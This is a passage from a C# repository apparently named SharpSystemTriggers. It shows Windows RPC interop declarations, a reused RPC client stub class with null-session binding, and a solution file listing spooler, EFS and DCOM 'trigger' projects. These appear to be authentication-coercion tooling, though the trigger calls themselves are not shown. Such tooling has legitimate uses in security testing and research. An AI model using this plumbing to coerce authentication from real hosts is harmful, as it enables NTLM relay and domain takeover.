fdwFlags, uint fdwOptions, string pszLocalMachine, uint dwPrinterLocal, IntPtr intPtr3); 39 | 40 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 41 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr hPrinter, uint fdwFlags, uint fdwOptions, string pszLocalMachine, uint dwPrinterLocal, IntPtr intPtr3); 42 | 43 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 44 | internal static extern Int32 RpcBindingSetAuthInfo(IntPtr Binding, String ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr identity, uint AuthzSvc); 45 | 46 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoExW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 47 | internal static extern Int32 RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, ref SEC_WINNT_AUTH_IDENTITY AuthIdentity, UInt32 AuthzSvc, ref RPC_SECURITY_QOS SecurityQOS); 48 | 49 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 50 | internal static extern Int32 RpcBindingSetAuthInfo(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, ref SEC_WINNT_AUTH_IDENTITY AuthIdentity, UInt32 AuthzSvc); 51 | 52 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 53 | internal static extern Int32 RpcBindingSetAuthInfo(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, UIntPtr pointer, UInt32 AuthzSvc); 54 | 55 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)] 56 | internal static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, UInt32 OptionValue); 57 | 58 | [DllImport("Rpcrt4.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 59 | internal static extern Int32 RpcEpResolveBinding(IntPtr Binding, IntPtr RpcClientInterface); 60 | 61 | [DllImport("advapi32.dll", SetLastError = true)] 62 | internal static extern IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex); 63 | 64 | [DllImport("advapi32.dll", SetLastError = true)] 65 | internal static extern IntPtr GetSidSubAuthorityCount(IntPtr psid); 66 | 67 | //structs 68 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 69 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 70 | public struct DEVMODE_CONTAINER 71 | { 72 | private Int32 cbBuf; 73 | private IntPtr pDevMode; 74 | } 75 | 76 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 77 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 78 | public struct RPC_V2_NOTIFY_OPTIONS_TYPE 79 | { 80 | private UInt16 Type; 81 | private UInt16 Reserved0; 82 | private UInt32 Reserved1; 83 | private UInt32 Reserved2; 84 | private UInt32 Count; 85 | private IntPtr pFields; 86 | }; 87 | 88 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 89 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 90 | public struct RPC_V2_NOTIFY_OPTIONS 91 | { 92 | private UInt32 Version; 93 | private UInt32 Reserved; 94 | private UInt32 Count; 95 | /* [unique][size_is] */ 96 | private RPC_V2_NOTIFY_OPTIONS_TYPE pTypes; 97 | }; 98 | 99 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 100 | internal struct SEC_WINNT_AUTH_IDENTITY 101 | { 102 | [MarshalAs(UnmanagedType.LPWStr)] 103 | public string User; 104 | 105 | public int UserLength; 106 | 107 | [MarshalAs(UnmanagedType.LPWStr)] 108 | public string Domain; 109 | 110 | public int DomainLength; 111 | 112 | [MarshalAs(UnmanagedType.LPWStr)] 113 | public string Password; 114 | 115 | public int PasswordLength; 116 | public int Flags; 117 | }; 118 | 119 | [StructLayout(LayoutKind.Sequential)] 120 | public struct RPC_SECURITY_QOS 121 | { 122 | public Int32 Version; 123 | public Int32 Capabilities; 124 | public Int32 IdentityTracking; 125 | public Int32 ImpersonationType; 126 | }; 127 | } 128 | } -------------------------------------------------------------------------------- /SharpSpoolTrigger/rpcapi.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | using System.Security.Permissions; 5 | 6 | namespace SharpSpoolTrigger 7 | { 8 | //https://raw.githubusercontent.com/vletoux/pingcastle/19a3890b214bff7cb66b08c55bb4983ca21c8bd1/RPC/rpcapi.cs{ 9 | public abstract class rpcapi 10 | { 11 | private byte[] MIDL_ProcFormatString; 12 | private byte[] MIDL_TypeFormatString; 13 | private GCHandle procString; 14 | private GCHandle formatString; 15 | private GCHandle stub; 16 | protected IntPtr rpcClientInterface; 17 | private GCHandle faultoffsets; 18 | private GCHandle clientinterface; 19 | private GCHandle bindinghandle; 20 | private string PipeName; 21 | 22 | // important: keep a reference on delegate to avoid CallbackOnCollectedDelegate exception 23 | private bind BindDelegate; 24 | 25 | private unbind UnbindDelegate; 26 | private allocmemory AllocateMemoryDelegate = AllocateMemory; 27 | private freememory FreeMemoryDelegate = FreeMemory; 28 | 29 | public bool UseNullSession { get; set; } 30 | 31 | // 5 seconds 32 | public UInt32 RPCTimeOut = 5000; 33 | 34 | [StructLayout(LayoutKind.Sequential)] 35 | private struct COMM_FAULT_OFFSETS 36 | { 37 | public short CommOffset; 38 | public short FaultOffset; 39 | } 40 | 41 | [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1049:TypesThatOwnNativeResourcesShouldBeDisposable"), StructLayout(LayoutKind.Sequential)] 42 | private struct GENERIC_BINDING_ROUTINE_PAIR 43 | { 44 | public IntPtr Bind; 45 | public IntPtr Unbind; 46 | } 47 | 48 | [StructLayout(LayoutKind.Sequential)] 49 | private struct RPC_VERSION 50 | { 51 | public ushort MajorVersion; 52 | public ushort MinorVersion; 53 | 54 | public static readonly RPC_VERSION INTERFACE_VERSION = new RPC_VERSION() { MajorVersion = 1, MinorVersion = 0 }; 55 | public static readonly RPC_VERSION SYNTAX_VERSION = new RPC_VERSION() { MajorVersion = 2, MinorVersion = 0 }; 56 | 57 | public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) 58 | { 59 | MajorVersion = InterfaceVersionMajor; 60 | MinorVersion = InterfaceVersionMinor; 61 | } 62 | } 63 | 64 | [StructLayout(LayoutKind.Sequential)] 65 | private struct RPC_SYNTAX_IDENTIFIER 66 | { 67 | public Guid SyntaxGUID; 68 | public RPC_VERSION SyntaxVersion; 69 | } 70 | 71 | [StructLayout(LayoutKind.Sequential)] 72 | private struct RPC_CLIENT_INTERFACE 73 | { 74 | public uint Length; 75 | public RPC_SYNTAX_IDENTIFIER InterfaceId; 76 | public RPC_SYNTAX_IDENTIFIER TransferSyntax; 77 | public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable; 78 | public uint RpcProtseqEndpointCount; 79 | public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint; 80 | public IntPtr Reserved; 81 | public IntPtr InterpreterInfo; 82 | public uint Flags; 83 | 84 | public static readonly Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 85 | 0x10, 86 | 0x48, 0x60); 87 | 88 | public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor = 1, ushort InterfaceVersionMinor = 0) 89 | { 90 | Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE)); 91 | InterfaceId = new RPC_SYNTAX_IDENTIFIER() { SyntaxGUID = iid, SyntaxVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor) }; 92 | TransferSyntax = new RPC_SYNTAX_IDENTIFIER() { SyntaxGUID = IID_SYNTAX, SyntaxVersion = RPC_VERSION.SYNTAX_VERSION }; 93 | DispatchTable = IntPtr.Zero; 94 | RpcProtseqEndpointCount = 0u; 95 | RpcProtseqEndpoint = IntPtr.Zero; 96 | Reserved = IntPtr.Zero; 97 | InterpreterInfo = IntPtr.Zero; 98 | Flags = 0u; 99 | } 100 | } 101 | 102 | [StructLayout(LayoutKind.Sequential)] 103 | private struct MIDL_STUB_DESC 104 | { 105 | public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation; 106 | public IntPtr pfnAllocate; 107 | public IntPtr pfnFree; 108 | public IntPtr pAutoBindHandle; 109 | public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines; 110 | public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs; 111 | public IntPtr /*EXPR_EVAL*/ apfnExprEval; 112 | public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple; 113 | public IntPtr pFormatTypes; 114 | public int fCheckBounds; 115 | /* Ndr library version. */ 116 | public uint Version; 117 | public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct; 118 | public int MIDLVersion; 119 | public IntPtr CommFaultOffsets; 120 | 121 | // New fields for version 3.0+ 122 | public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple; 123 | 124 | // Notify routines - added for NT5, MIDL 5.0 125 | public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable; 126 | 127 | public IntPtr mFlags; 128 | 129 | // International support routines - added for 64bit post NT5 130 | public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables; 131 | 132 | public IntPtr ProxyServerInfo; 133 | public IntPtr /*NDR_EXPR_DESC*/ pExprInfo; 134 | // Fields up to now present in win2000 release. 135 | 136 | public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr, 137 | IntPtr pfnAllocatePtr, IntPtr pfnFreePtr, IntPtr aGenericBindingRoutinePairsPtr) 138 | { 139 | pFormatTypes = pFormatTypesPtr; 140 | RpcInterfaceInformation = RpcInterfaceInformationPtr; 141 | CommFaultOffsets = IntPtr.Zero; 142 | pfnAllocate = pfnAllocatePtr; 143 | pfnFree = pfnFreePtr; 144 | pAutoBindHandle = IntPtr.Zero; 145 | apfnNdrRundownRoutines = IntPtr.Zero; 146 | aGenericBindingRoutinePairs = aGenericBindingRoutinePairsPtr; 147 | apfnExprEval = IntPtr.Zero; 148 | aXmitQuintuple = IntPtr.Zero; 149 | fCheckBounds = 1; 150 | Version = 0x50002u; 151 | pMallocFreeStruct = IntPtr.Zero; 152 | MIDLVersion = 0x8000253; 153 | aUserMarshalQuadruple = IntPtr.Zero; 154 | NotifyRoutineTable = IntPtr.Zero; 155 | mFlags = new IntPtr(0x00000001); 156 | CsRoutineTables = IntPtr.Zero; 157 | ProxyServerInfo = IntPtr.Zero; 158 | pExprInfo = IntPtr.Zero; 159 | } 160 | } 161 | 162 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 163 | protected void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, string pipe, ushort MajorVerson = 1, ushort MinorVersion = 0) 164 | { 165 | this.MIDL_ProcFormatString = MIDL_ProcFormatString; 166 | this.MIDL_TypeFormatString = MIDL_TypeFormatString; 167 | PipeName = pipe; 168 | procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned); 169 | 170 | RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion); 171 | GENERIC_BINDING_ROUTINE_PAIR bindingObject = new GENERIC_BINDING_ROUTINE_PAIR(); 172 | // important: keep a reference to avoid CallbakcOnCollectedDelegate Exception 173 | BindDelegate = Bind; 174 | UnbindDelegate = Unbind; 175 | bindingObject.Bind = Marshal.GetFunctionPointerForDelegate((bind)BindDelegate); 176 | bindingObject.Unbind = Marshal.GetFunctionPointerForDelegate((unbind)UnbindDelegate); 177 | 178 | faultoffsets = GCHandle.Alloc(new COMM_FAULT_OFFSETS() { CommOffset = -1, FaultOffset = -1 }, GCHandleType.Pinned); 179 | clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned); 180 | formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned); 181 | bindinghandle = GCHandle.Alloc(bindingObject, GCHandleType.Pinned); 182 | 183 | MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(), 184 | clientinterface.AddrOfPinnedObject(), 185 | Marshal.GetFunctionPointerForDelegate(AllocateMemoryDelegate), 186 | Marshal.GetFunctionPointerForDelegate(FreeMemoryDelegate), 187 | bindinghandle.AddrOfPinnedObject()); 188 | rpcClientInterface = stubObject.RpcInterfaceInformation; 189 | 190 | stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned); 191 | } 192 | 193 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 194 | protected void freeStub() 195 | { 196 | procString.Free(); 197 | faultoffsets.Free(); 198 | clientinterface.Free(); 199 | formatString.Free(); 200 | bindinghandle.Free(); 201 | stub.Free(); 202 | } 203 | 204 | private delegate IntPtr allocmemory(int size); 205 | 206 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 207 | protected static IntPtr AllocateMemory(int size) 208 | { 209 | IntPtr memory = Marshal.AllocHGlobal(size); 210 | //Trace.WriteLine("allocating " + memory.ToString()); 211 | return memory; 212 | } 213 | 214 | private delegate void freememory(IntPtr memory); 215 | 216 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 217 | protected static void FreeMemory(IntPtr memory) 218 | { 219 | //Trace.WriteLine("freeing " + memory.ToString()); 220 | Marshal.FreeHGlobal(memory); 221 | } 222 | 223 | private delegate IntPtr bind(IntPtr IntPtrserver); 224 | 225 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 226 | protected IntPtr Bind(IntPtr IntPtrserver) 227 | { 228 | string server = Marshal.PtrToStringUni(IntPtrserver); 229 | IntPtr bindingstring = IntPtr.Zero; 230 | IntPtr binding = IntPtr.Zero; 231 | Int32 status; 232 | 233 | Trace.WriteLine("Binding to " + server + " " + PipeName); 234 | status = NativeMethods.RpcStringBindingCompose(null, "ncacn_np", server, PipeName, null, out bindingstring); 235 | if (status != 0) 236 | { 237 | Trace.WriteLine("RpcStringBindingCompose failed with status 0x" + status.ToString("x")); 238 | return IntPtr.Zero; 239 | } 240 | status = NativeMethods.RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding); 241 | NativeMethods.RpcBindingFree(ref bindingstring); 242 | if (status != 0) 243 | { 244 | Trace.WriteLine("RpcBindingFromStringBinding failed with status 0x" + status.ToString("x")); 245 | return IntPtr.Zero; 246 | } 247 | if (UseNullSession) 248 | { 249 | // note: windows xp doesn't support user or domain = "" => return 0xE 250 | NativeMethods.SEC_WINNT_AUTH_IDENTITY identity = new NativeMethods.SEC_WINNT_AUTH_IDENTITY(); 251 | identity.User = ""; 252 | identity.UserLength = identity.User.Length * 2; 253 | identity.Domain = ""; 254 | identity.DomainLength = identity.Domain.Length * 2; 255 | identity.Password = ""; 256 | identity.Flags = 2; 257 | 258 | NativeMethods.RPC_SECURITY_QOS qos = new NativeMethods.RPC_SECURITY_QOS(); 259 | qos.Version = 1; 260 | qos.ImpersonationType = 3; 261 | GCHandle qoshandle = GCHandle.Alloc(qos, GCHandleType.Pinned); 262 | 263 | // 9 = negotiate , 10 = ntlm ssp 264 | status = NativeMethods.RpcBindingSetAuthInfoEx(binding, server, 0, 9, ref identity, 0, ref qos); 265 | qoshandle.Free(); 266 | if (status != 0) 267 | { 268 | Trace.WriteLine("RpcBindingSetAuthInfoEx failed with status 0x" + status.ToString("x")); 269 | Unbind(IntPtrserver, binding); 270 | return IntPtr.Zero; 271 | } 272 | } 273 | 274 | status = NativeMethods.RpcBindingSetOption(binding, 12, RPCTimeOut); 275 | if (status != 0) 276 | { 277 | Trace.WriteLine("RpcBindingSetOption failed with status 0x" + status.ToString("x")); 278 | } 279 | Trace.WriteLine("binding ok (handle=" + binding + ")"); 280 | return binding; 281 | } 282 | 283 | protected Int32 Bind(string server, out IntPtr binding) 284 | { 285 | IntPtr bindingstring = IntPtr.Zero; 286 | binding = IntPtr.Zero; 287 | Int32 status; 288 | 289 | status = NativeMethods.RpcStringBindingCompose(null, "ncacn_ip_tcp", server, "135", null, out bindingstring); 290 | if (status != 0) 291 | return status; 292 | status = NativeMethods.RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding); 293 | NativeMethods.RpcBindingFree(ref bindingstring); 294 | if (status != 0) 295 | return status; 296 | 297 | status = NativeMethods.RpcBindingSetAuthInfo(binding, null, 1, 0, IntPtr.Zero, 0); 298 | if (status != 0) 299 | { 300 | Unbind(IntPtr.Zero, binding); 301 | return status; 302 | } 303 | 304 | status = NativeMethods.RpcBindingSetOption(binding, 12, RPCTimeOut); 305 | return status; 306 | } 307 | 308 | private delegate void unbind(IntPtr IntPtrserver, IntPtr hBinding); 309 | 310 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 311 | protected static void Unbind(IntPtr IntPtrserver, IntPtr hBinding) 312 | { 313 | string server = Marshal.PtrToStringUni(IntPtrserver); 314 | Trace.WriteLine("unbinding " + server); 315 | NativeMethods.RpcBindingFree(ref hBinding); 316 | } 317 | 318 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 319 | protected IntPtr GetProcStringHandle(int offset) 320 | { 321 | return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatString, offset); 322 | } 323 | 324 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 325 | protected IntPtr GetStubHandle() 326 | { 327 | return stub.AddrOfPinnedObject(); 328 | } 329 | 330 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)] 331 | protected IntPtr CallNdrClientCall2x86(int offset, params IntPtr[] args) 332 | { 333 | GCHandle stackhandle = GCHandle.Alloc(args, GCHandleType.Pinned); 334 | IntPtr result; 335 | try 336 | { 337 | result = NativeMethods.NdrClientCall2x86(GetStubHandle(), GetProcStringHandle(offset), stackhandle.AddrOfPinnedObject()); 338 | } 339 | finally 340 | { 341 | stackhandle.Free(); 342 | } 343 | return result; 344 | } 345 | } 346 | } -------------------------------------------------------------------------------- /SharpSystemTriggers.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31613.86 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Midl2Bytes", "Midl2Bytes\Midl2Bytes.csproj", "{6A176D55-CEED-4128-B3E1-5A5D4D4F5158}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpDcomTrigger", "SharpDcomTrigger\SharpDcomTrigger.csproj", "{40B97695-684F-4048-BB48-0BDECA952913}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpEfsTrigger", "SharpEfsTrigger\SharpEfsTrigger.csproj", "{1AC7265A-3CEF-45E8-95F3-ABD4F5AAB3F1}" 11 | EndProject 12 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSpoolTrigger", "SharpSpoolTrigger\SharpSpoolTrigger.csproj", "{4EBB2ECA-4D57-4A89-BDC7-236F60B91EFE}" 13 | EndProject 14 | Global 15 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 16 | Debug|Any CPU = Debug|Any CPU 17 | Release|Any CPU = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {6A176D55-CEED-4128-B3E1-5A5D4D4F5158}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {6A176D55-CEED-4128-B3E1-5A5D4D4F5158}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {6A176D55-CEED-4128-B3E1-5A5D4D4F5158}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {6A176D55-CEED-4128-B3E1-5A5D4D4F5158}.Release|Any CPU.Build.0 = Release|Any CPU 24 | {40B97695-684F-4048-BB48-0BDECA952913}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 25 | {40B97695-684F-4048-BB48-0BDECA952913}.Debug|Any CPU.Build.0 = Debug|Any CPU 26 | {40B97695-684F-4048-BB48-0BDECA952913}.Release|Any CPU.ActiveCfg = Release|Any CPU 27 | {40B97695-684F-4048-BB48-0BDECA952913}.Release|Any CPU.Build.0 = Release|Any CPU 28 | {1AC7265A-3CEF-45E8-95F3-ABD4F5AAB3F1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 29 | {1AC7265A-3CEF-45E8-95F3-ABD4F5AAB3F1}.Debug|Any CPU.Build.0 = Debug|Any CPU 30 | {1AC7265A-3CEF-45E8-95F3-ABD4F5AAB3F1}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {1AC7265A-3CEF-45E8-95F3-ABD4F5AAB3F1}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {4EBB2ECA-4D57-4A89-BDC7-236F60B91EFE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 33 | {4EBB2ECA-4D57-4A89-BDC7-236F60B91EFE}.Debug|Any CPU.Build.0 = Debug|Any CPU 34 | {4EBB2ECA-4D57-4A89-BDC7-236F60B91EFE}.Release|Any CPU.ActiveCfg = Release|Any CPU 35 | {4EBB2ECA-4D57-4A89-BDC7-236F60B91EFE}.Release|Any CPU.Build.0 = Release|Any CPU 36 | EndGlobalSection 37 | GlobalSection(SolutionProperties) = preSolution 38 | HideSolutionNode = FALSE 39 | EndGlobalSection 40 | GlobalSection(ExtensibilityGlobals) = postSolution 41 | SolutionGuid = {F0F4B10F-D0AF-4512-8B81-FC401188D582} 42 | EndGlobalSection 43 | EndGlobal 44 | --------------------------------------------------------------------------------